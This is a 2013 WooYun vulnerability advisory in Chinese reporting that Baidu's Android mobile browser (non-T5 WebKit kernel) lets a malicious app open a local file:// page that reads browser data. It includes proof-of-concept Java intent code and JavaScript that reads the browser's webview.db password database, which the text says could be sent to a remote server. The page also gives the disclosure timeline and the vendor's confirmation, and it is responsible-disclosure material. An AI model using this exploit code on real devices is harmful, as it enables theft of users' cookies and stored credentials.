当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-038158

漏洞标题:百度手机浏览器缺陷可导致用户敏感数据泄漏(Android系统webkit内核问题t5内核浏览器无影响)

相关厂商:百度

漏洞作者: 路人甲

提交时间:2013-09-25 17:09

修复时间:2013-12-24 17:10

公开时间:2013-12-24 17:10

漏洞类型:设计错误/逻辑缺陷

危害等级:中

自评Rank:6

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-25: 细节已通知厂商并且等待厂商处理中
2013-09-25: 厂商已经确认,细节仅向厂商公开
2013-09-28: 细节向第三方安全合作伙伴开放
2013-11-19: 细节向核心白帽子及相关领域专家公开
2013-11-29: 细节向普通白帽子公开
2013-12-09: 细节向实习白帽子公开
2013-12-24: 细节向公众公开

简要描述:

当一个攻击app(恶意或非恶意均可以) 向百度浏览器发送请求要求打开一个本地页面时,此本地页面中的可以按照攻击app的要求获取百度浏览器下的所有数据,包括cookie信息等,盗取过程无需root,盗取之后可以发送给远程服务器。

详细说明:

Android平台百度手机浏览器最新版
恶意APP攻击代码:
恶意APP可以先释放attack.html,然后打开SD卡中的恶意attack.html

......
public Intent getIntentForSE(String url) {
Intent intent = new Intent("android.intent.action.VIEW");
intent.setClassName("com.baidu.browser.apps", "com.baidu.browser.framework.BdBrowserActivity");
intent.setData(Uri.parse(url));
return intent;
}

try {
String url = "file:///mnt/sdcard/attack.html";
Intent intent1 = getIntentForSE(url);
startActivity(intent1);
}
catch(Exception e){}
}


attack.html代码:
获取取保存浏览器密码的db文件发送到远程服务器

var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
}
xmlhttp = request;
var prefix = "file://data/data/com.baidu.browser.apps/databases";
var postfix = "/webview.db";
var path = prefix.concat(postfix);
xmlhttp.open("GET", path, false);
xmlhttp.send(null);
var ret = xmlhttp.responseText;
......


漏洞证明:

用测试代码测试。

修复方案:

可以参考其他已修复该漏洞的手机浏览器的修复方法,如chrome安卓版等。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2013-09-25 18:06

厂商回复:

感谢对百度安全的关注,我们马上处理此问题。
--“百度,因你更安全”

最新状态:

2013-09-26:此问题在使用百度浏览器T5内核版是不存在的,目前绝大部分百度浏览器用户均使用T5内核版,故此漏洞仅影响一小部分用户。但是本着对用户安全负责的态度,我们仍然确认此漏洞,并积极推动修复。